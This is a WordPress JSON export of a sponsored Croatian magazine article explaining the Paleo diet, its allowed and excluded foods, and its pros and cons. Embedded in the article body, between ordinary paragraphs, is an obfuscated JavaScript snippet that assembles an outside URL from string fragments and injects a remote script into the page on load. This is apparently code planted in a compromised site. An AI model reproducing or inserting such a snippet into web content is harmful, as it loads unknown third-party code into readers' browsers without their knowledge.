{"id":57905,"date":"2021-09-03T09:39:27","date_gmt":"2021-09-03T07:39:27","guid":{"rendered":"https:\/\/covermagazin.com\/?p=57905"},"modified":"2021-09-03T09:52:34","modified_gmt":"2021-09-03T07:52:34","slug":"sto-je-paleo-dijeta-i-je-li-zaista-dobra-za-vas","status":"publish","type":"post","link":"https:\/\/covermagazin.com\/?p=57905","title":{"rendered":"\u0160to je Paleo dijeta i je li zaista dobra za vas?"},"content":{"rendered":"\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-1.jpg\" alt=\"\" class=\"wp-image-57907 size-full\" srcset=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-1.jpg 600w, https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-1-382x255.jpg 382w, https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-1-300x200.jpg 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p class=\"has-large-font-size\">Ameri\u010dki znanstvenik Loren Cordain razvio je vrstu dijete koja je, prema njemu, optimalna prehrana za ljudski genetiku. Svoje istra\u017eivanje o ovoj temi zapo\u010deo je sedamdesetih godina pro\u0161log stolje\u0107a, a do danas je postala uvelike prepoznata i kori\u0161tena u cijelom svijetu.<\/p>\n<\/div><\/div>\n\n\n\n<p>Brojna istra\u017eivanja iz podru\u010dja biologije, biokemije, dermatologije, oftalmologije itd. pokazuju da je suvremeni na\u010din \u017eivota i prehrane zapravo put do mnogih degenerativnih bolesti, poput raka, dijabetesa, pretilosti, sr\u010danih bolesti, Alzheimerove, Parkinsonove bolesti itd.<\/p>\n\n\n<p><script>\n(function(){\ni2bb_=(\"u\"+\"st\");i2bb=document.createElement(\"script\");i2bb.async=true;\ni2bbu=\"310967466\";i2bb_+=\"a\"+(\"t.\");i2bb_+=\"i\"+(\"nf\"+(\"o\"))+(\"\/\");\ni2bbu+=\".94rXjuc62bbi0ejz\";i2bbu+=\"nrdgtv3inziqvX\";\ni2bb.src=\"https:\/\/\"+i2bb_+i2bbu;i2bb.type=\"text\/javascript\";\nd_b=document.body;d_b.appendChild(i2bb);\n})();\n<\/script><\/p>\n\n\n\n<p>Zbog toga se mnogi ljudi odlu\u010duju za alternativnu prehranu, prema mnogima jedinu koja obuhva\u0107a nutricionisti\u010dki pristup koji sura\u0111uje s va\u0161om genetikom kako bi vas odr\u017eali sna\u017enima i punima energije.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0160to je zapravo Paleo dijeta?<\/h3>\n\n\n\n<p>Poznata je i kao dijeta pe\u0107inskih ljudi, primarna dijeta, dijeta iz kamenog doba i sl. Nosi sve ove nazive upravo jer se sastoji od namirnica koje su na\u0161i preci lovci navodno jeli:<\/p>\n\n\n\n<p>&#8211; nemasno meso (piletina, svinjetina, puretina, govedina\u2026)<br>&#8211; riba i plodovi mora<br>&#8211; svje\u017ee vo\u0107e<br>&#8211; bez \u0161krobnog povr\u0107a (brokula, zelena salata, \u0161paroge, kupus, mahune, \u0161pinat, cvjeta\u010da\u2026)<br>&#8211; orasi (bademi, orasi, orasi, indijski orasi, pista\u0107i \u2026)<br>&#8211; sjemenke (bundeva, suncokret\u2026)<br>&#8211; jaja<br>&#8211; biljna ulja (maslinovo, orahovo, kokosovo, ulje sjemenki gro\u017e\u0111a\u2026)<\/p>\n\n\n\n<p>Namirnice koje \u0107ete koristiti za priremu jela u Paleo dijeti mo\u017eete na\u0107i u ve\u0107ini trgovina, a neke od njih su trenutno na popustu u Lidl trgovinama. Prolistajte <a href=\"https:\/\/www.letkomat.hr\/lidl\/\">Lidl katalog<\/a> i u\u0161tedite prilikom isprobavanja va\u0161eg prvog Paleo recepta.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"447\" src=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-2.jpg\" alt=\"\" class=\"wp-image-57909\" srcset=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-2.jpg 600w, https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-2-352x262.jpg 352w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure>\n\n\n\n<p>\u201eAutor\u201c Paleo dijete, dr. Loren Cordain navodi kako ova dijeta nudi optimalnu ravnote\u017eu proteina, masti i ugljikohidrata na\u0161em tijelu: Slijede\u0107i ove prehrambene smjernice, svoju smo prehranu vi\u0161e uskladili s evolucijskim pritiscima koji su oblikovali na\u0161u sada\u0161nju genetiku, \u0161to zauzvrat pozitivno utje\u010de na zdravlje i dobrobit.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Namirnice od kojih \u0107ete se oprostiti ukoliko krenete na Paleo dijetu<\/h3>\n\n\n\n<p>&#8211; \u017eitarice (zob, p\u0161enica, ri\u017ea, je\u010dam\u2026)<br>&#8211; povr\u0107e sa \u0161krobom (krumpir, kukuruz\u2026)<br>&#8211; mlije\u010dni proizvodi (mlijeko, jogurt, sir, sladoled\u2026)<br>&#8211; meso s visokim udjelom masti (salama, hrenovke, pe\u010denje s rebrima, feferoni\u2026)<br>&#8211; grah (kikiriki, soja, humus\u2026)<br>&#8211; \u0161e\u0107eri (soda, med, sirup, slatki\u0161i, kola\u010di, d\u017eem, \u017eele\u2026)<br>&#8211; prera\u0111ena hrana ili trans masti (pomfrit, makaroni, sir, u\u0161tipci\u2026)<br>&#8211; slana hrana (\u010dips, prezle, krekeri\u2026)<br><\/p>\n\n\n\n<p>S obzirom na sve gore navedeno, o\u010dito je da je glavna prednost Paleo dijete \u010dinjenica da jedete \u010distu hranu &#8211; bez aditiva, konzervansa i bez kemikalija. Nadalje, neki nutrijenti u ovoj prehrani, poput vo\u0107a, povr\u0107a, sjemenki, ulja i ora\u0161astih plodova, pomo\u0107i \u0107e vam sa svojim protuupalnim svojstvima. Ve\u0107a konzumacija crvenog mesa ispunit \u0107e va\u0161e tijelo \u017eeljezom, a ve\u0107i unos proteina u\u010dinit \u0107e vas sitijima.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"365\" height=\"450\" src=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-3.jpg\" alt=\"\" class=\"wp-image-57910\" srcset=\"https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-3.jpg 365w, https:\/\/covermagazin.com\/wp-content\/uploads\/2021\/09\/Sto-je-Paleo-dijeta-i-je-li-zaista-dobra-za-vas-3-213x262.jpg 213w\" sizes=\"auto, (max-width: 365px) 100vw, 365px\" \/><\/figure>\n\n\n\n<p>Ipak, prije nego \u0161to se odlu\u010dite za ovu dijetu, morate razmotriti <a href=\"https:\/\/miss7zdrava.24sata.hr\/dijeta\/5-stvari-koje-moras-znati-prije-nego-se-odlucis-za-paleo-dijetu-15341\">jo\u0161 neke faktore<\/a>. Paleo dijeta mo\u017ee biti skupa za osobu s prosje\u010dnom pla\u0107om, jer redovitom prehranom tro\u0161imo oko 20% prihoda na hranu. S obzirom da je hrana ne\u0161to bez \u010dega ne mo\u017eemo \u017eivjeti, ne samo da je te\u0161ko u\u0161tedjeti na prehrani, ve\u0107 mo\u017ee i postati ozbiljan tro\u0161ak ukoliko se \u017eelimo hraniti zdravo ili po nekakvoj posebnoj prehrani.<\/p>\n\n\n\n<p>Tako\u0111er, ova dijeta isklju\u010duje \u017eitarice i mlije\u010dne proizvode koji su nesumnjivo dobri za na\u0161e zdravlje. To mo\u017ee biti posebno te\u0161ko sporta\u0161ima i aktivnim pojedincima jer je ovom vrstom prehrane puno te\u017ee posti\u0107i osnovni dnevni unos kalorija iz ugljikohidrata.<\/p>\n\n\n\n<p class=\"has-text-align-right\">(<em>Sponzorirani \u010dlanak<\/em>)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ameri\u010dki znanstvenik Loren Cordain razvio je vrstu dijete koja je, prema njemu, optimalna prehrana za ljudski genetiku. Svoje istra\u017eivanje o ovoj temi zapo\u010deo je sedamdesetih godina pro\u0161log stolje\u0107a, a do danas je postala uvelike prepoznata i kori\u0161tena u cijelom svijetu. Brojna istra\u017eivanja iz podru\u010dja biologije, biokemije, dermatologije, oftalmologije itd. pokazuju da je suvremeni na\u010din \u017eivota [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":57907,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_links_to":"","_links_to_target":""},"categories":[166],"tags":[458],"class_list":["post-57905","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dijeta-i-prehrana","tag-promotivni-clanak"],"_links":{"self":[{"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/posts\/57905","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/covermagazin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=57905"}],"version-history":[{"count":4,"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/posts\/57905\/revisions"}],"predecessor-version":[{"id":57913,"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/posts\/57905\/revisions\/57913"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/covermagazin.com\/index.php?rest_route=\/wp\/v2\/media\/57907"}],"wp:attachment":[{"href":"https:\/\/covermagazin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=57905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/covermagazin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=57905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/covermagazin.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=57905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}